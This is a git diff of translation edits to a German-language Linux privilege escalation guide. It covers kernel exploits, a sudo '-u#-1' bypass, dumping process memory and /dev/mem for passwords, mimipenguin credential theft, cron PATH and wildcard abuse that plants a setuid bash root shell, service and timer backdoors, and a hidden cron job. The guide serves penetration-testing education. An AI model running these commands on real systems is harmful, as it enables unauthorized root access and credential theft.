übergeordnete/Benutzerordner auflistet, um das ZIP zu finden und ein Köderdokument zu öffnen. -- AMSI-Manipulation via [System.Management.Automation.AmsiUtils]::amsiInitFailed. -- Lang laufende Business-Threads, die mit Links enden, die unter vertrauenswürdigen PaaS-Domains gehostet werden. +- ZIP-Dateien, die die ASCII-Markierungszeichenfolge (z. B., xFIQCV) enthalten, welche an die Archivdaten angehängt ist. +- .lnk, das übergeordnete/Benutzerordner auflistet, um das ZIP zu finden und ein Decoy-Dokument öffnet. +- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed. +- Long-running business threads ending with links hosted under trusted PaaS domains. ## Referenzen diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 697f9637b..49d2cc561 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -12,13 +12,13 @@ Beginnen wir damit, Informationen über das laufende OS zu sammeln. lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### PATH +### Path -Wenn du **Schreibrechte auf einen Ordner im `PATH`** hast, kannst du möglicherweise einige libraries oder binaries hijacken: +Wenn du **Schreibrechte auf einem Ordner innerhalb der `PATH`-Variable** hast, kannst du möglicherweise einige Libraries oder Binaries hijacken: ```bash echo $PATH ``` -### Env info +### Umgebungsinformationen Interessante Informationen, Passwörter oder API-Schlüssel in den Umgebungsvariablen? ```bash @@ -26,26 +26,26 @@ Interessante Informationen, Passwörter oder API-Schlüssel in den Umgebungsvari ``` ### Kernel exploits -Überprüfe die Kernel-Version und ob es einen Exploit gibt, mit dem Privilegien eskaliert werden können +Prüfe die Kernel-Version und ob es einen exploit gibt, der zur Privilege Escalation genutzt werden kann. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Eine gute Liste verwundbarer Kernel und einige bereits **compiled exploits** findest du hier: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) und [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Weitere Seiten, auf denen du einige **compiled exploits** finden kannst: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Du kannst eine gute Liste verwundbarer Kernel und einige bereits **compiled exploits** hier finden: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) und [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Weitere Seiten, auf denen Du einige **compiled exploits** findest: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Um alle verwundbaren Kernel-Versionen von dieser Webseite zu extrahieren, kannst du folgendes tun: +Um aus dieser Website alle verwundbaren Kernel-Versionen zu extrahieren, kannst Du Folgendes tun: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Tools, die bei der Suche nach kernel exploits helfen können, sind: +Tools, die bei der Suche nach Kernel-Exploits helfen können, sind: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, prüft nur exploits für kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, überprüft nur exploits für Kernel 2.x) -Suche immer **die Kernel-Version in Google**, vielleicht ist deine Kernel-Version in einem kernel exploit erwähnt und dann bist du sicher, dass dieser exploit gültig ist. +Suche immer **die Kernel-Version in Google**, vielleicht ist deine Kernel-Version in einem Kernel-Exploit angegeben, dann kannst du sicher sein, dass dieser Exploit gültig ist. ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo version +### Sudo-Version -Basierend auf den anfälligen Sudo-Versionen, die in Folgendem aufgelistet sind: +Basierend auf den anfälligen sudo-Versionen, die in: ```bash searchsploit sudo ``` -Du kannst prüfen, ob die sudo-Version anfällig ist, indem du dieses grep verwendest. +Sie können mit diesem grep prüfen, ob die sudo-Version verwundbar ist. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,20 +73,20 @@ Von @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg Signaturprüfung fehlgeschlagen +### Dmesg-Signaturüberprüfung fehlgeschlagen -Siehe **smasher2 box of HTB** für ein **Beispiel**, wie diese vuln ausgenutzt werden kann. +Siehe **smasher2 box of HTB** für ein **Beispiel**, wie diese vuln ausgenutzt werden könnte ```bash dmesg 2>/dev/null | grep "signature" ``` -### Weitere System-Enumeration +### Mehr system enumeration ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Mögliche Abwehrmaßnahmen auflisten +## Mögliche Abwehrmaßnahmen ### AppArmor ```bash @@ -125,13 +125,14 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null Wenn du dich in einem docker container befindest, kannst du versuchen, daraus zu entkommen: + {{#ref}} docker-security/ {{#endref}} ## Laufwerke -Prüfe **what is mounted and unmounted**, wo und warum. Wenn etwas unmounted ist, könntest du versuchen, es zu mounten und nach privaten Daten zu suchen. +Überprüfe **was eingehängt und was nicht eingehängt ist**, wo und warum. Falls etwas nicht eingehängt ist, könntest du versuchen, es einzuhängen und nach privaten Informationen zu suchen. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -144,56 +145,56 @@ Nützliche binaries auflisten ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Prüfe auch, ob **ein Compiler installiert ist**. Das ist nützlich, wenn du einen kernel exploit verwenden musst, da empfohlen wird, ihn auf der Maschine zu kompilieren, auf der du ihn einsetzen willst (oder auf einer ähnlichen). +Prüfe außerdem, ob **irgendein compiler installiert ist**. Das ist nützlich, wenn du einen kernel exploit verwenden musst, da empfohlen wird, ihn auf der Maschine zu kompilieren, auf der du ihn einsetzen willst (oder auf einer ähnlichen). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Verwundbare installierte Software +### Installierte verwundbare Software -Prüfe die **Version der installierten Pakete und Dienste**. Vielleicht gibt es eine alte Nagios-Version (zum Beispiel), die ausgenutzt werden könnte, um escalating privileges zu erreichen…\ -Es wird empfohlen, die Version der verdächtigeren installierten Software manuell zu überprüfen. +Überprüfe die **Version der installierten Pakete und Dienste**. Vielleicht gibt es eine ältere Nagios-Version (zum Beispiel), die für escalating privileges ausgenutzt werden könnte…\ +Es wird empfohlen, die Version der verdächtigeren installierten Software manuell zu prüfen. ```bash dpkg -l #Debian rpm -qa #Centos ``` -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +Wenn du SSH-Zugang zur Maschine hast, kannst du auch **openVAS** verwenden, um nach veralteter oder anfälliger Software zu suchen, die auf der Maschine installiert ist. -> [!NOTE] > _Beachte, dass diese Befehle viele Informationen anzeigen, die größtenteils nutzlos sein werden, daher empfiehlt es sich, Anwendungen wie OpenVAS oder ähnliche zu verwenden, die prüfen, ob eine installierte Softwareversion gegenüber bekannten Exploits verwundbar ist_ +> [!NOTE] > _Beachte, dass diese Befehle viele Informationen anzeigen, die größtenteils nutzlos sind. Daher werden Anwendungen wie OpenVAS oder ähnliche empfohlen, die prüfen, ob eine installierte Softwareversion gegenüber bekannten exploits anfällig ist._ ## Prozesse -Sieh dir an, **welche Prozesse** ausgeführt werden, und prüfe, ob ein Prozess **mehr Rechte hat, als er haben sollte** (vielleicht läuft ein tomcat als root?) +Sieh dir an, **welche Prozesse** ausgeführt werden, und prüfe, ob ein Prozess **mehr Rechte hat, als er sollte** (vielleicht läuft ein tomcat als root?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** erkennt diese, indem es in der Kommandozeile des Prozesses den `--inspect`-Parameter überprüft.\ +Prüfe außerdem deine Privilegien auf die Prozess-Binaries — vielleicht kannst du eine überschreiben. -### Prozessüberwachung +### Process monitoring -Du kannst Tools wie [**pspy**](https://github.com/DominicBreuker/pspy) verwenden, um Prozesse zu überwachen. Das kann sehr nützlich sein, um verwundbare Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn bestimmte Bedingungen erfüllt sind. +Du kannst Tools wie [**pspy**](https://github.com/DominicBreuker/pspy) verwenden, um Prozesse zu überwachen. Das kann sehr nützlich sein, um verwundbare Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn eine Reihe von Voraussetzungen erfüllt ist. -### Prozessspeicher +### Process memory -Einige Dienste auf einem Server speichern **Zugangsdaten im Klartext im Speicher**.\ -Normalerweise benötigst du **root privileges**, um den Speicher von Prozessen zu lesen, die anderen Nutzern gehören; daher ist das meist nützlicher, wenn du bereits root bist und weitere Zugangsdaten entdecken möchtest.\ -Denke jedoch daran, dass **du als normaler Benutzer den Speicher der Prozesse lesen kannst, die dir gehören**. +Some services of a server save **credentials in clear text inside the memory**.\ +Normalerweise benötigst du **root privileges**, um den Speicher von Prozessen zu lesen, die anderen Benutzern gehören; daher ist das in der Regel nützlicher, wenn du bereits root bist und weitere credentials entdecken möchtest.\ +Denke jedoch daran, dass **als normaler Benutzer du den Speicher der Prozesse lesen kannst, die dir gehören**. > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> Beachte, dass heutzutage die meisten Maschinen **ptrace nicht standardmäßig erlauben**, was bedeutet, dass du andere Prozesse, die zu deinem unprivilegierten Benutzer gehören, nicht dumpen kannst. > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: alle Prozesse können debuggt werden, solange sie die gleiche uid haben. Das ist die klassische Arbeitsweise von ptrace. -> - **kernel.yama.ptrace_scope = 1**: nur ein Parent-Prozess kann debuggt werden. -> - **kernel.yama.ptrace_scope = 2**: Nur Admin kann ptrace benutzen, da dafür die Capability CAP_SYS_PTRACE erforderlich ist. -> - **kernel.yama.ptrace_scope = 3**: Keine Prozesse dürfen mit ptrace getraced werden. Nach dem Setzen ist ein Reboot nötig, um ptrace wieder zu ermöglichen. +> - **kernel.yama.ptrace_scope = 0**: alle Prozesse können debuggt werden, solange sie dieselbe uid haben. Dies ist die klassische Art, wie ptracing funktionierte. +> - **kernel.yama.ptrace_scope = 1**: nur ein übergeordneter Prozess kann debuggt werden. +> - **kernel.yama.ptrace_scope = 2**: nur Admin kann ptrace verwenden, da dafür die CAP_SYS_PTRACE-Fähigkeit erforderlich ist. +> - **kernel.yama.ptrace_scope = 3**: keine Prozesse dürfen mit ptrace nachverfolgt werden. Sobald gesetzt, ist ein Reboot nötig, um ptracing wieder zu ermöglichen. #### GDB -Wenn du Zugriff auf den Speicher eines FTP-Services (zum Beispiel) hast, könntest du den Heap extrahieren und darin nach seinen Zugangsdaten suchen. +If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. ```bash gdb -p (gdb) info proc mappings @@ -215,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Für eine gegebene Prozess-ID, **maps zeigen, wie der Speicher innerhalb dieses Prozesses abgebildet ist** im virtuellen Adressraum; sie zeigen auch die **Berechtigungen jeder abgebildeten Region**. Die **mem** Pseudo-Datei **legt den Speicher des Prozesses selbst offen**. Aus der **maps** Datei wissen wir, welche **Speicherbereiche lesbar sind** und ihre Offsets. Wir nutzen diese Informationen, um **in die mem Datei zu seeken und alle lesbaren Regionen zu dumpen** in eine Datei. +Für eine gegebene Prozess-ID zeigen **maps, wie Speicher innerhalb des virtuellen Adressraums dieses Prozesses abgebildet ist**; sie zeigt auch die **Berechtigungen jeder abgebildeten Region**. Die **mem** Pseudo-Datei **legt den Speicher des Prozesses selbst offen**. Aus der **maps**-Datei wissen wir, welche **Speicherbereiche lesbar** sind und ihre Offsets. Wir nutzen diese Informationen, um **in die mem-Datei zu seeken und alle lesbaren Bereiche in eine Datei auszulesen**. ```bash procdump() ( @@ -231,13 +232,13 @@ rm $1*.bin #### /dev/mem `/dev/mem` bietet Zugriff auf den **physischen** Speicher des Systems, nicht auf den virtuellen Speicher. Der virtuelle Adressraum des Kernels kann über /dev/kmem angesprochen werden.\ -Typischerweise ist `/dev/mem` nur für **root** und die Gruppe **kmem** lesbar. +Typischerweise ist `/dev/mem` nur für **root** und die **kmem**-Gruppe lesbar. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump für Linux +### ProcDump für linux -ProcDump ist eine für Linux neu interpretierte Version des klassischen ProcDump-Tools aus der Sysinternals-Tool-Suite für Windows. Erhältlich unter [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump ist eine Linux-Neuinterpretation des klassischen ProcDump-Tools aus der Sysinternals-Suite für Windows. Erhältlich unter [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -269,10 +270,10 @@ Press Ctrl-C to end monitoring without terminating the process. Um den Speicher eines Prozesses zu dumpen, kannst du Folgendes verwenden: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Du kannst manuell die root-Anforderungen entfernen und den Prozess, der dir gehört, dumpen -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root ist erforderlich) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Du kannst manuell die root-Anforderungen entfernen und den Prozess dumpen, der dir gehört +- Script A.5 aus [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root ist erforderlich) -### Zugangsdaten aus dem Prozessspeicher +### Anmeldedaten aus dem Prozessspeicher #### Manuelles Beispiel @@ -281,23 +282,23 @@ Wenn du feststellst, dass der authenticator-Prozess läuft: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Du kannst den Prozess dumpen (siehe vorherige Abschnitte, um verschiedene Möglichkeiten zu finden, den memory eines Prozesses zu dumpen) und im memory nach credentials suchen: +Sie können den Prozess dumpen (siehe vorherige Abschnitte, um verschiedene Möglichkeiten zu finden, den Speicher eines Prozesses zu dumpen) und im Speicher nach credentials suchen: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Das Tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) wird **Klartext-Anmeldedaten aus dem Speicher stehlen** und aus einigen **bekannten Dateien**. Es benötigt Root-Rechte, um richtig zu funktionieren. +Das Tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) wird **Klartext-Anmeldedaten aus dem Speicher** und aus einigen **bekannten Dateien** stehlen. Es benötigt root privileges, um richtig zu funktionieren. | Funktion | Prozessname | | ------------------------------------------------- | -------------------- | -| GDM-Passwort (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (aktive FTP-Verbindungen) | vsftpd | -| Apache2 (aktive HTTP Basic-Auth-Sitzungen) | apache2 | -| OpenSSH (aktive SSH-Sitzungen - Sudo Verwendung) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | #### Such-Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -313,51 +314,51 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Geplante/Cron jobs +## Scheduled/Cron jobs -Überprüfe, ob ein geplanter Job verwundbar ist. Vielleicht kannst du ausnutzen, dass ein script von root ausgeführt wird (wildcard vuln? Kannst du Dateien ändern, die root verwendet? symlinks verwenden? Bestimmte Dateien in dem Verzeichnis erstellen, das root verwendet?). +Überprüfe, ob irgendein geplanter Job verwundbar ist. Vielleicht kannst du ein Script ausnutzen, das von root ausgeführt wird (wildcard vuln? kannst du Dateien modifizieren, die root verwendet? symlinks verwenden? bestimmte Dateien in dem Verzeichnis erstellen, das root verwendet?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron-Pfad +### Cron path -Zum Beispiel findest du in _/etc/crontab_ den PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Zum Beispiel findest du in _/etc/crontab_ die PATH-Variable: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Beachte, dass der Benutzer "user" Schreibrechte auf /home/user hat_) +(_Beachte, dass der Benutzer "user" Schreibrechte für /home/user hat_) -Wenn in diesem crontab der Benutzer root versucht, einen Befehl oder ein Script auszuführen, ohne den PATH zu setzen. Zum Beispiel: _\* \* \* \* root overwrite.sh_\ -Dann kannst du eine root-Shell erhalten, indem du Folgendes ausführst: +Wenn innerhalb dieser crontab der Benutzer root versucht, einen Befehl oder ein Skript auszuführen, ohne den PATH zu setzen. Zum Beispiel: _\* \* \* \* root overwrite.sh_\ +Dann kannst du eine root shell erhalten, indem du Folgendes verwendest: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cron mit einem Skript, das ein wildcard verwendet (Wildcard Injection) -Wenn ein script, das von root ausgeführt wird, ein “**\***” in einem Befehl enthält, kannst du dies ausnutzen, um unerwartete Dinge zu bewirken (z. B. privesc). Beispiel: +Wenn ein von root ausgeführtes Skript ein “**\***” innerhalb eines Befehls enthält, könntest du dies ausnutzen, um unerwartete Dinge zu bewirken (wie privesc). Beispiel: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Wenn das wildcard von einem Pfad wie** _**/some/path/\***_ **vorangestellt ist, ist es nicht verwundbar (auch** _**./\***_ **nicht).** +**Wenn die Wildcard einem Pfad wie** _**/some/path/\***_ **vorangestellt ist, ist sie nicht anfällig (selbst** _**./\***_ **nicht).** -Read the following page for more wildcard exploitation tricks: +Siehe die folgende Seite für weitere Wildcard-Exploitation-Tricks: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron script Überschreiben und symlink +### Überschreiben von cron scripts und symlink -Wenn du **ein cron script ändern kannst**, das von root ausgeführt wird, kannst du sehr einfach eine shell bekommen: +Wenn du **ein cron script modifizieren kannst**, das von root ausgeführt wird, kannst du sehr einfach eine shell bekommen: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Wenn das von root ausgeführte script ein **directory where you have full access** verwendet, kann es sinnvoll sein, diesen Ordner zu löschen und **create a symlink folder to another one**, das ein von Ihnen kontrolliertes script bereitstellt. +Wenn das von root ausgeführte script ein **Verzeichnis, auf das du vollen Zugriff hast**, verwendet, kann es nützlich sein, dieses Verzeichnis zu löschen und **einen symlink-Ordner zu einem anderen zu erstellen**, der ein von dir kontrolliertes script bereitstellt. ```bash ln -d -s ``` @@ -365,103 +366,103 @@ ln -d -s Du kannst die Prozesse überwachen, um nach Prozessen zu suchen, die alle 1, 2 oder 5 Minuten ausgeführt werden. Vielleicht kannst du das ausnutzen und Privilegien eskalieren. -Zum Beispiel, um **alle 0.1s für 1 Minute zu überwachen**, **nach am wenigsten ausgeführten Befehlen zu sortieren** und die Befehle zu löschen, die am häufigsten ausgeführt wurden, kannst du Folgendes tun: +Zum Beispiel, um **jede 0.1s für 1 Minute zu überwachen**, **nach am wenigsten ausgeführten Befehlen zu sortieren** und die Befehle zu löschen, die am häufigsten ausgeführt wurden, kannst du Folgendes tun: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Sie können auch** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **verwenden** (dies überwacht und listet jeden gestarteten Prozess). +**Sie können auch** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dies überwacht und listet jeden gestarteten Prozess). -### Unsichtbare cron jobs +### Unsichtbare cronjobs -Es ist möglich, einen cronjob zu erstellen, indem man **ein Carriage-Return-Zeichen nach einem Kommentar setzt** (ohne Zeilenumbruchzeichen), und der cron job wird funktionieren. Beispiel (achte auf das Carriage-Return-Zeichen): +Es ist möglich, einen cronjob zu erstellen, indem man **ein Wagenrücklaufzeichen nach einem Kommentar setzt** (ohne Zeilenumbruchzeichen), und der cronjob funktioniert. Beispiel (achte auf das Wagenrücklaufzeichen): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -## Services +## Dienste -### Writable _.service_ files +### Schreibbare _.service_ Dateien -Prüfe, ob du irgendeine `.service`-Datei schreiben kannst. Falls ja, könntest du sie so modifizieren, dass sie deine backdoor ausführt, wenn der service **gestartet**, **neu gestartet** oder **gestoppt** wird (möglicherweise musst du bis zum nächsten Reboot des Systems warten).\ -Zum Beispiel erstelle deine backdoor in der .service-Datei mit **`ExecStart=/tmp/script.sh`** +Prüfe, ob du eine `.service` Datei schreiben kannst, wenn ja, **könntest du es ändern** so dass sie **ausführt** deine **backdoor wenn** der Service **gestartet**, **neu gestartet** oder **gestoppt** wird (vielleicht musst du warten, bis die Maschine neu gestartet wird).\ +Zum Beispiel erstelle deine backdoor innerhalb der .service Datei mit **`ExecStart=/tmp/script.sh`** -### Writable service binaries +### Schreibbare service binaries -Beachte, dass du, wenn du **Schreibrechte auf binaries, die von services ausgeführt werden**, hast, diese ändern kannst, um backdoors einzubauen, sodass beim erneuten Ausführen der services die backdoors ausgeführt werden. +Beachte, dass wenn du **Schreibrechte an Binaries, die von services ausgeführt werden** hast, du diese ändern kannst, um backdoors zu platzieren, sodass beim erneuten Ausführen der services die backdoors ausgeführt werden. -### systemd PATH - Relative Pfade +### systemd PATH - Relative Paths Du kannst den von **systemd** verwendeten PATH sehen mit: ```bash systemctl show-environment ``` -Wenn Sie feststellen, dass Sie in einem der Ordner des Pfads **schreiben** können, könnten Sie möglicherweise **Privilegien eskalieren**. Sie müssen nach **relativen Pfaden suchen, die in Service-Konfigurationsdateien verwendet werden**, wie zum Beispiel: +Wenn du feststellst, dass du in einem der Ordner des Pfads **schreiben** kannst, könntest du möglicherweise **Privilegien eskalieren**. Du musst nach **relativen Pfaden, die in Service-Konfigurationsdateien verwendet werden**, suchen, wie zum Beispiel: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Erstelle dann eine **ausführbare Datei** mit genau demselben Namen wie die Binärdatei des relativen Pfads im systemd PATH-Ordner, den du beschreiben kannst, und wenn der Service aufgefordert wird, die verwundbare Aktion (**Start**, **Stop**, **Reload**) auszuführen, wird deine **backdoor** ausgeführt (nicht-privilegierte Benutzer können Services normalerweise nicht starten/stoppen, prüfe aber, ob du `sudo -l` verwenden kannst). +Erstelle dann eine **ausführbare Datei** mit **dem gleichen Namen wie das relative Pfad-Binary** im systemd PATH-Verzeichnis, das du beschreiben kannst, und wenn der Service aufgefordert wird, die verwundbare Aktion (**Start**, **Stop**, **Reload**) auszuführen, wird dein **backdoor** ausgeführt (nicht-privilegierte Benutzer können Dienste normalerweise nicht starten/stoppen, prüfe aber, ob du `sudo -l` verwenden kannst). **Mehr über Services erfährst du mit `man systemd.service`.** ## **Timer** -**Timer** sind systemd Unit-Dateien, deren Name auf `**.timer**` endet und die `**.service**`-Dateien oder Ereignisse steuern. **Timer** können als Alternative zu cron verwendet werden, da sie eingebaute Unterstützung für kalenderbasierte Zeitereignisse und monotone Zeitereignisse bieten und asynchron ausgeführt werden können. +**Timer** sind systemd unit-Dateien, deren Name auf `**.timer**` endet und die `**.service**`-Dateien oder Ereignisse steuern. **Timer** können als Alternative zu cron verwendet werden, da sie eingebaute Unterstützung für kalenderbasierte Zeitereignisse und monotone Zeitereignisse bieten und asynchron ausgeführt werden können. Du kannst alle Timer mit folgendem Befehl auflisten: ```bash systemctl list-timers --all ``` -### Beschreibbare Timer +### Schreibbare Timer -Wenn du einen Timer modifizieren kannst, kannst du ihn dazu bringen, vorhandene Units von systemd.unit auszuführen (wie eine `.service` oder eine `.target`) +Wenn du einen Timer ändern kannst, kannst du ihn dazu bringen, einige vorhandene systemd.unit-Einheiten auszuführen (wie eine `.service` oder eine `.target`) ```bash Unit=backdoor.service ``` In der Dokumentation kannst du lesen, was die Unit ist: -> Die Unit, die aktiviert wird, wenn dieser timer abläuft. Das Argument ist ein Unit-Name, dessen Suffix nicht ".timer" ist. Wenn nicht angegeben, ist dieser Wert standardmäßig auf einen service gesetzt, der denselben Namen wie die timer unit trägt, abgesehen vom Suffix. (Siehe oben.) Es wird empfohlen, dass der Unit-Name, der aktiviert wird, und der Unit-Name der timer unit identisch benannt sind, abgesehen vom Suffix. +> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. -Daher müsstest du, um diese Berechtigung auszunutzen: +Therefore, to abuse this permission you would need to: -- Finde eine systemd Unit (wie eine `.service`), die **ein beschreibbares Binary ausführt** -- Finde eine systemd Unit, die **einen relativen Pfad ausführt** und bei der du **schreibbare Rechte** auf den **systemd PATH** hast (um dieses Executable zu imitieren) +- Find some systemd unit (like a `.service`) that is **eine beschreibbare Binärdatei ausführt** +- Find some systemd unit that is **einen relativen Pfad ausführt** und du **schreibbare Rechte** über den **systemd PATH** hast (um diese ausführbare Datei zu imitieren) **Mehr über Timer erfährst du mit `man systemd.timer`.** ### **Timer aktivieren** -Um einen Timer zu aktivieren, benötigst du root-Rechte und musst Folgendes ausführen: +Um einen Timer zu aktivieren benötigst du Root-Rechte und musst folgendes ausführen: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +Beachte, dass der **timer** durch das Erstellen eines Symlinks zu ihm unter `/etc/systemd/system/.wants/.timer` **aktiviert** wird ## Sockets -Unix Domain Sockets (UDS) ermöglichen **Prozesskommunikation** auf demselben oder auf verschiedenen Rechnern innerhalb von Client-Server-Modellen. Sie nutzen Standard-Unix-Descriptor-Dateien für die inter-computer Kommunikation und werden über `.socket`-Dateien eingerichtet. +Unix Domain Sockets (UDS) ermöglichen die **Prozesskommunikation** auf demselben oder verschiedenen Rechnern innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Deskriptordateien für die Kommunikation zwischen Rechnern und werden über `.socket`-Dateien eingerichtet. -Sockets können mithilfe von `.socket`-Dateien konfiguriert werden. +Sockets können mit `.socket`-Dateien konfiguriert werden. -**Learn more about sockets with `man systemd.socket`.** In dieser Datei können mehrere interessante Parameter konfiguriert werden: +**Erfahre mehr über sockets mit `man systemd.socket`.** In dieser Datei können mehrere interessante Parameter konfiguriert werden: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, 